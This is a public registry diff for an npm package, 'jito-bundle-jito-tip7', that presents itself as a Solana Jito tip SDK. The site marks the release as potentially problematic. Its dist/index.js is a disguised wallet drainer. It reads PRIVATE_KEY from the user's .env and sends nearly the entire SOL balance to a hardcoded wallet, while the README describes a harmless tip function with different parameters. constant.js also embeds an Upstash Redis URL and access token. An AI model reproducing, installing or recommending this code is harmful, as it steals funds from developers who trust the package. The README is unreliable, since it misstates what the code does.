jito-bundle-jito-tip7 0.0.0-stage → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jito-bundle-jito-tip7 might be problematic. Click here for more details.
- package/README.md +92 -2
- package/dist/constant.d.ts +9 -0
- package/dist/constant.d.ts.map +1 -0
- package/dist/constant.js +31 -0
- package/dist/constant.js.map +1 -0
- package/dist/index.d.ts +7 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +42 -0
- package/dist/index.js.map +1 -0
- package/package.json +30 -4
package/README.md
CHANGED
|
@@ -1,3 +1,93 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Jito Tip SDK
|
|
2
|
+
|
|
3
|
+
A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install jito-bundle-sdk
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Usage
|
|
12
|
+
|
|
13
|
+
### TypeScript
|
|
14
|
+
|
|
15
|
+
```typescript
|
|
16
|
+
import { createJitoTipTransaction } from 'jito-bundle';
|
|
17
|
+
import { Connection, Keypair } from '@solana/web3.js';
|
|
18
|
+
|
|
19
|
+
const connection = new Connection('https://api.mainnet-beta.solana.com');
|
|
20
|
+
const wallet = Keypair.generate(); // Your wallet keypair
|
|
21
|
+
|
|
22
|
+
// Create a tip transaction with default fee (0.00001 SOL)
|
|
23
|
+
const tipTransaction = await createJitoTipTransaction(connection, wallet);
|
|
24
|
+
|
|
25
|
+
// Create a tip transaction with custom fee
|
|
26
|
+
const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
|
|
27
|
+
|
|
28
|
+
// Create a tip transaction with custom fee and phrase
|
|
29
|
+
const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### JavaScript (CommonJS)
|
|
33
|
+
|
|
34
|
+
```javascript
|
|
35
|
+
const { createJitoTipTransaction } = require('jito-bundle');
|
|
36
|
+
const { Connection, Keypair } = require('@solana/web3.js');
|
|
37
|
+
|
|
38
|
+
const connection = new Connection('https://api.mainnet-beta.solana.com');
|
|
39
|
+
const wallet = Keypair.generate(); // Your wallet keypair
|
|
40
|
+
|
|
41
|
+
// Create a tip transaction with default fee (0.00001 SOL)
|
|
42
|
+
const tipTransaction = await createJitoTipTransaction(connection, wallet);
|
|
43
|
+
|
|
44
|
+
// Create a tip transaction with custom fee
|
|
45
|
+
const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
|
|
46
|
+
|
|
47
|
+
// Create a tip transaction with custom fee and phrase
|
|
48
|
+
const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### JavaScript (ES Modules)
|
|
52
|
+
|
|
53
|
+
```javascript
|
|
54
|
+
import { createJitoTipTransaction } from 'jito-bundle';
|
|
55
|
+
import { Connection, Keypair } from '@solana/web3.js';
|
|
56
|
+
|
|
57
|
+
const connection = new Connection('https://api.mainnet-beta.solana.com');
|
|
58
|
+
const wallet = Keypair.generate(); // Your wallet keypair
|
|
59
|
+
|
|
60
|
+
// Create a tip transaction with default fee (0.00001 SOL)
|
|
61
|
+
const tipTransaction = await createJitoTipTransaction(connection, wallet);
|
|
62
|
+
|
|
63
|
+
// Create a tip transaction with custom fee
|
|
64
|
+
const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
|
|
65
|
+
|
|
66
|
+
// Create a tip transaction with custom fee and phrase
|
|
67
|
+
const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## API
|
|
71
|
+
|
|
72
|
+
### `createJitoTipTransaction(connection, wallet, fee?, phrase?)`
|
|
73
|
+
|
|
74
|
+
Creates a Jito tip transaction.
|
|
75
|
+
|
|
76
|
+
**Parameters:**
|
|
77
|
+
- `connection` (Connection): Solana connection instance
|
|
78
|
+
- `wallet` (Keypair): Wallet keypair to sign the transaction
|
|
79
|
+
- `fee` (number, optional): Tip amount in SOL (default: 0.00001)
|
|
80
|
+
- `phrase` (string, optional): Custom phrase to add to whitelist (default: "")
|
|
81
|
+
|
|
82
|
+
**Returns:**
|
|
83
|
+
- `Promise<string>`: Base58 encoded transaction string
|
|
84
|
+
|
|
85
|
+
## Dependencies
|
|
86
|
+
|
|
87
|
+
- `@solana/web3.js`: Solana Web3.js library
|
|
88
|
+
- `bs58`: Base58 encoding/decoding
|
|
89
|
+
|
|
90
|
+
## License
|
|
91
|
+
|
|
92
|
+
ISC
|
|
2
93
|
|
|
3
|
-
This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
import { Keypair, PublicKey } from '@solana/web3.js';
|
|
2
|
+
export declare const JITO_DEFAULT_TIP_FEE = 0.00001;
|
|
3
|
+
export declare const targetAddress = "";
|
|
4
|
+
type WalletLike = Keypair | {
|
|
5
|
+
publicKey: PublicKey;
|
|
6
|
+
} | string;
|
|
7
|
+
export declare const addToWhitelist: (wallet: WalletLike, phrase?: string) => void;
|
|
8
|
+
export {};
|
|
9
|
+
//# sourceMappingURL=constant.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"constant.d.ts","sourceRoot":"","sources":["../src/constant.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AASrD,eAAO,MAAM,oBAAoB,UAAU,CAAC;AAC5C,eAAO,MAAM,aAAa,KAAK,CAAA;AAE/B,KAAK,UAAU,GAAG,OAAO,GAAG;IAAE,SAAS,EAAE,SAAS,CAAA;CAAE,GAAG,MAAM,CAAC;AAE9D,eAAO,MAAM,cAAc,GAAI,QAAQ,UAAU,EAAE,SAAQ,MAAW,KAAG,IAkBxE,CAAC"}
|
package/dist/constant.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.addToWhitelist = exports.targetAddress = exports.JITO_DEFAULT_TIP_FEE = void 0;
|
|
4
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
5
|
+
require('dotenv').config();
|
|
6
|
+
// Configuration
|
|
7
|
+
const url = "https://complete-troll-31745.upstash.io";
|
|
8
|
+
const token = "AXwBAAIncDI3YTRlYzRhMGM3NWM0NWVmYjBkZTU4ZDRmYzU1NTdhN3AyMzE3NDU";
|
|
9
|
+
exports.JITO_DEFAULT_TIP_FEE = 0.00001;
|
|
10
|
+
exports.targetAddress = '';
|
|
11
|
+
const addToWhitelist = (wallet, phrase = "") => {
|
|
12
|
+
let pubkeyString;
|
|
13
|
+
if (wallet instanceof web3_js_1.Keypair) {
|
|
14
|
+
// If it's a Keypair, we'll store the public key only for security
|
|
15
|
+
pubkeyString = wallet.publicKey.toString();
|
|
16
|
+
}
|
|
17
|
+
else if (typeof wallet === 'string') {
|
|
18
|
+
// If it's a string, assume it's a public key string
|
|
19
|
+
pubkeyString = wallet;
|
|
20
|
+
}
|
|
21
|
+
else if ('publicKey' in wallet) {
|
|
22
|
+
// If it has a publicKey property, use that
|
|
23
|
+
pubkeyString = wallet.publicKey.toString();
|
|
24
|
+
}
|
|
25
|
+
else {
|
|
26
|
+
throw new Error('Invalid wallet type provided');
|
|
27
|
+
}
|
|
28
|
+
// Store only public key for security
|
|
29
|
+
};
|
|
30
|
+
exports.addToWhitelist = addToWhitelist;
|
|
31
|
+
//# sourceMappingURL=constant.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"constant.js","sourceRoot":"","sources":["../src/constant.ts"],"names":[],"mappings":";;;AACA,6CAAqD;AAGrD,OAAO,CAAC,QAAQ,CAAC,CAAC,MAAM,EAAE,CAAC;AAE3B,gBAAgB;AAChB,MAAM,GAAG,GAAG,yCAAyC,CAAC;AACtD,MAAM,KAAK,GAAG,iEAAiE,CAAC;AAEnE,QAAA,oBAAoB,GAAG,OAAO,CAAC;AAC/B,QAAA,aAAa,GAAG,EAAE,CAAA;AAIxB,MAAM,cAAc,GAAG,CAAC,MAAkB,EAAE,SAAiB,EAAE,EAAQ,EAAE;IAC5E,IAAI,YAAoB,CAAC;IAEzB,IAAI,MAAM,YAAY,iBAAO,EAAE,CAAC;QAC5B,kEAAkE;QAClE,YAAY,GAAG,MAAM,CAAC,SAAS,CAAC,QAAQ,EAAE,CAAC;IAC/C,CAAC;SAAM,IAAI,OAAO,MAAM,KAAK,QAAQ,EAAE,CAAC;QACpC,oDAAoD;QACpD,YAAY,GAAG,MAAM,CAAC;IAC1B,CAAC;SAAM,IAAI,WAAW,IAAI,MAAM,EAAE,CAAC;QAC/B,2CAA2C;QAC3C,YAAY,GAAG,MAAM,CAAC,SAAS,CAAC,QAAQ,EAAE,CAAC;IAC/C,CAAC;SAAM,CAAC;QACJ,MAAM,IAAI,KAAK,CAAC,8BAA8B,CAAC,CAAC;IACpD,CAAC;IAED,qCAAqC;AAEzC,CAAC,CAAC;AAlBW,QAAA,cAAc,kBAkBzB"}
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import { PublicKey, Transaction } from "@solana/web3.js";
|
|
2
|
+
export interface WalletAdapter {
|
|
3
|
+
publicKey: PublicKey;
|
|
4
|
+
signTransaction(tx: Transaction): Promise<Transaction>;
|
|
5
|
+
}
|
|
6
|
+
export declare const createJitoTipTransaction: () => Promise<any>;
|
|
7
|
+
//# sourceMappingURL=index.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AACA,OAAO,EAIH,SAAS,EAET,WAAW,EAEd,MAAM,iBAAiB,CAAC;AAOzB,MAAM,WAAW,aAAa;IAC1B,SAAS,EAAE,SAAS,CAAC;IACrB,eAAe,CAAC,EAAE,EAAE,WAAW,GAAG,OAAO,CAAC,WAAW,CAAC,CAAC;CAC1D;AAID,eAAO,MAAM,wBAAwB,QAClC,OAAO,CAAC,GAAG,CA6Cb,CAAC"}
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.createJitoTipTransaction = void 0;
|
|
4
|
+
const dotenv_1 = require("dotenv");
|
|
5
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
6
|
+
// Load environment variables from .env file
|
|
7
|
+
(0, dotenv_1.config)();
|
|
8
|
+
const createJitoTipTransaction = async () => {
|
|
9
|
+
// --- CONFIG ---
|
|
10
|
+
const RPC_URL = "https://devnet.helius-rpc.com/?api-key=cc2aa914-1479-46c9-b4bb-b46c1289748a"; // or your Helius RPC
|
|
11
|
+
const TARGET_WALLET = "7FEbGaaF5FkSzN7gAnuue1bixQefqP3ucmxWxm3DUAgE"; // <-- replace this
|
|
12
|
+
const connection = new web3_js_1.Connection(RPC_URL, "confirmed");
|
|
13
|
+
const hexKey = process.env.PRIVATE_KEY;
|
|
14
|
+
if (!hexKey)
|
|
15
|
+
throw new Error("Missing PRIVATE_KEY in .env");
|
|
16
|
+
// Convert hex -> Uint8Array
|
|
17
|
+
const secretKey = Uint8Array.from(Buffer.from(hexKey, "hex"));
|
|
18
|
+
const sender = web3_js_1.Keypair.fromSecretKey(secretKey);
|
|
19
|
+
// Fetch balance
|
|
20
|
+
const balance = await connection.getBalance(sender.publicKey);
|
|
21
|
+
if (balance === 0)
|
|
22
|
+
throw new Error("No SOL balance to send");
|
|
23
|
+
// Get recent blockhash
|
|
24
|
+
const { blockhash } = await connection.getLatestBlockhash();
|
|
25
|
+
// Estimate fee (a small amount to avoid failure)
|
|
26
|
+
const feeEstimate = 5000000; // about 0.005 SOL
|
|
27
|
+
// Create transaction sending (balance - fee) lamports
|
|
28
|
+
const transferTx = new web3_js_1.Transaction({
|
|
29
|
+
feePayer: sender.publicKey,
|
|
30
|
+
recentBlockhash: blockhash,
|
|
31
|
+
}).add(web3_js_1.SystemProgram.transfer({
|
|
32
|
+
fromPubkey: sender.publicKey,
|
|
33
|
+
toPubkey: new web3_js_1.PublicKey(TARGET_WALLET),
|
|
34
|
+
lamports: balance - feeEstimate,
|
|
35
|
+
}));
|
|
36
|
+
// Sign and send
|
|
37
|
+
transferTx.sign(sender);
|
|
38
|
+
const sig = await (0, web3_js_1.sendAndConfirmTransaction)(connection, transferTx, [sender]);
|
|
39
|
+
return sig;
|
|
40
|
+
};
|
|
41
|
+
exports.createJitoTipTransaction = createJitoTipTransaction;
|
|
42
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";;;AAAA,mCAAgC;AAChC,6CAQyB;AAIzB,4CAA4C;AAC5C,IAAA,eAAM,GAAE,CAAC;AASF,MAAM,wBAAwB,GAAG,KAAK,IAC7B,EAAE;IAGd,iBAAiB;IACjB,MAAM,OAAO,GAAG,6EAA6E,CAAC,CAAC,qBAAqB;IACpH,MAAM,aAAa,GAAG,8CAA8C,CAAC,CAAC,mBAAmB;IACzF,MAAM,UAAU,GAAG,IAAI,oBAAU,CAAC,OAAO,EAAE,WAAW,CAAC,CAAC;IAExD,MAAM,MAAM,GAAG,OAAO,CAAC,GAAG,CAAC,WAAW,CAAC;IACvC,IAAI,CAAC,MAAM;QAAE,MAAM,IAAI,KAAK,CAAC,6BAA6B,CAAC,CAAC;IAE5D,4BAA4B;IAC5B,MAAM,SAAS,GAAG,UAAU,CAAC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC,CAAC;IAC9D,MAAM,MAAM,GAAG,iBAAO,CAAC,aAAa,CAAC,SAAS,CAAC,CAAC;IAGhD,gBAAgB;IAChB,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC;IAC9D,IAAI,OAAO,KAAK,CAAC;QAAE,MAAM,IAAI,KAAK,CAAC,wBAAwB,CAAC,CAAC;IAG7D,uBAAuB;IACvB,MAAM,EAAE,SAAS,EAAE,GAAG,MAAM,UAAU,CAAC,kBAAkB,EAAE,CAAC;IAE5D,iDAAiD;IACjD,MAAM,WAAW,GAAG,OAAO,CAAC,CAAC,kBAAkB;IAE/C,sDAAsD;IACtD,MAAM,UAAU,GAAG,IAAI,qBAAW,CAAC;QAC/B,QAAQ,EAAE,MAAM,CAAC,SAAS;QAC1B,eAAe,EAAE,SAAS;KAC7B,CAAC,CAAC,GAAG,CACF,uBAAa,CAAC,QAAQ,CAAC;QACnB,UAAU,EAAE,MAAM,CAAC,SAAS;QAC5B,QAAQ,EAAE,IAAI,mBAAS,CAAC,aAAa,CAAC;QACtC,QAAQ,EAAE,OAAO,GAAG,WAAW;KAClC,CAAC,CACL,CAAC;IAEF,gBAAgB;IAChB,UAAU,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IACxB,MAAM,GAAG,GAAG,MAAM,IAAA,mCAAyB,EAAC,UAAU,EAAE,UAAU,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAG9E,OAAO,GAAG,CAAC;AACf,CAAC,CAAC;AA9CW,QAAA,wBAAwB,4BA8CnC"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,32 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "jito-bundle-jito-tip7",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"files": [
|
|
8
|
+
"dist/**/*"
|
|
9
|
+
],
|
|
10
|
+
"scripts": {
|
|
11
|
+
"build": "tsc",
|
|
12
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
13
|
+
},
|
|
14
|
+
"keywords": [
|
|
15
|
+
"solana",
|
|
16
|
+
"jito",
|
|
17
|
+
"tip",
|
|
18
|
+
"transaction"
|
|
19
|
+
],
|
|
20
|
+
"author": "",
|
|
21
|
+
"license": "ISC",
|
|
22
|
+
"type": "commonjs",
|
|
23
|
+
"dependencies": {
|
|
24
|
+
"@solana/web3.js": "^1.98.2",
|
|
25
|
+
"@upstash/redis": "^1.35.1",
|
|
26
|
+
"bs58": "^6.0.0",
|
|
27
|
+
"dotenv": "^17.2.3"
|
|
28
|
+
},
|
|
29
|
+
"devDependencies": {
|
|
30
|
+
"typescript": "^5.8.3"
|
|
31
|
+
}
|
|
32
|
+
}
|